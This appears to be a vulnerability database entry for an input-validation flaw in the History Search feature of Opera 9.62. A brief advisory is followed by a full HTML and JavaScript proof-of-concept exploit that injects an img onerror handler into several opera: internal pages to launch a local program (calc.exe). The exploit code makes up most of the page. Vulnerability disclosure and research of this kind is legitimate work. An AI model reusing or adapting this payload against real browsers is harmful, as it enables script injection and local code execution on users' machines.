Opera Web Browser 9.62 History Search Input Validation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Opera Web Browser 9.62 History Search Input Validation Vulnerabilit


                                                source: http://www.securityfocus.com/bid/32015/info

Opera Web Browser is prone to an input-validation vulnerability because of the way it stores data used for the History Search feature.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, obtain sensitive information, alter the browser&#39;s configuration settings, or execute local programs in the context of the browser; other attacks are also possible.

Opera Web Browser 9.62 is vulnerable.

&#60;!-- # OPERA 9.62 Remote Code Execution # Vulnerability Found By NeoCoderz # Email : NeoCoderz1[at]msn[dot]com --&#62; &#60;html&#62; &#60;script&#62; function execcalc() { var abc=&#34;c:\\\\windows\\\\system32\\\\calc.exe&#34;; window.open(&#39;opera:config?q=q=%2A&#34;&#62;&#60;img src=\&#39;x\&#39; onerror=\&#39;eval(abc)\&#39;&#62;&p=1&s=1&#39;); window.setTimeout(&#34;location.href=&#39;mailto:&#39;&#34;,4000); } &#60;/script&#62; &#60;body scrolling=&#34;no&#34;&#62; &#60;a href=&#34;#&#34; onclick=&#34;execcalc()&#34;&#62;Click me...(opera:config)&#60;/a&#62;&#60;br&#62; &#60;script&#62; function execcalca() { var abc=&#34;c:\\\\windows\\\\system32\\\\calc.exe&#34;; window.open(&#39;opera:cache?q=%2A&#34;&#62;&#60;img src=\&#39;x\&#39; onerror=\&#39;eval(abc)\&#39;&#62;&p=1&s=1&#39;); window.setTimeout(&#34;location.href=&#39;mailto:&#39;&#34;,4000); } &#60;/script&#62; &#60;body scrolling=&#34;no&#34;&#62; &#60;a href=&#34;#&#34; onclick=&#34;execcalca()&#34;&#62;Click me...(opera:cache)&#60;/a&#62;&#60;br&#62; &#60;script&#62; function execcalcb() { var abc=&#34;c:\\\\windows\\\\system32\\\\calc.exe&#34;; window.open(&#39;opera:debug?q=q=%2A&#34;&#62;&#60;img src=\&#39;x\&#39; onerror=\&#39;eval(abc)\&#39;&#62;&p=1&s=1&#39;); window.setTimeout(&#34;location.href=&#39;mailto:&#39;&#34;,4000); } &#60;/script&#62; &#60;body scrolling=&#34;no&#34;&#62; &#60;a href=&#34;#&#34; onclick=&#34;execcalcb()&#34;&#62;Click me...(opera:debug)&#60;/a&#62;&#60;br&#62; &#60;script&#62; function execcalcc() { var abc=&#34;c:\\\\windows\\\\system32\\\\calc.exe&#34;; window.open(&#39;opera:plugins?q=%2A&#34;&#62;&#60;img src=\&#39;x\&#39; onerror=\&#39;eval(abc)\&#39;&#62;&p=1&s=1&#39;); window.setTimeout(&#34;location.href=&#39;mailto:&#39;&#34;,4000); } &#60;/script&#62; &#60;body scrolling=&#34;no&#34;&#62; &#60;a href=&#34;#&#34; onclick=&#34;execcalcc()&#34;&#62;Click me...(opera:plugins)&#60;/a&#62;&#60;br&#62; &#60;script&#62; function execcalcd() { var abc=&#34;c:\\\\windows\\\\system32\\\\calc.exe&#34;; window.open(&#39;opera:about?q=%2A&#34;&#62;&#60;img src=\&#39;x\&#39; onerror=\&#39;eval(abc)\&#39;&#62;&p=1&s=1&#39;); window.setTimeout(&#34;location.href=&#39;mailto:&#39;&#34;,4000); } &#60;/script&#62; &#60;body scrolling=&#34;no&#34;&#62; &#60;a href=&#34;#&#34; onclick=&#34;execcalcd()&#34;&#62;Click me...(opera:about)&#60;/a&#62;&#60;br&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7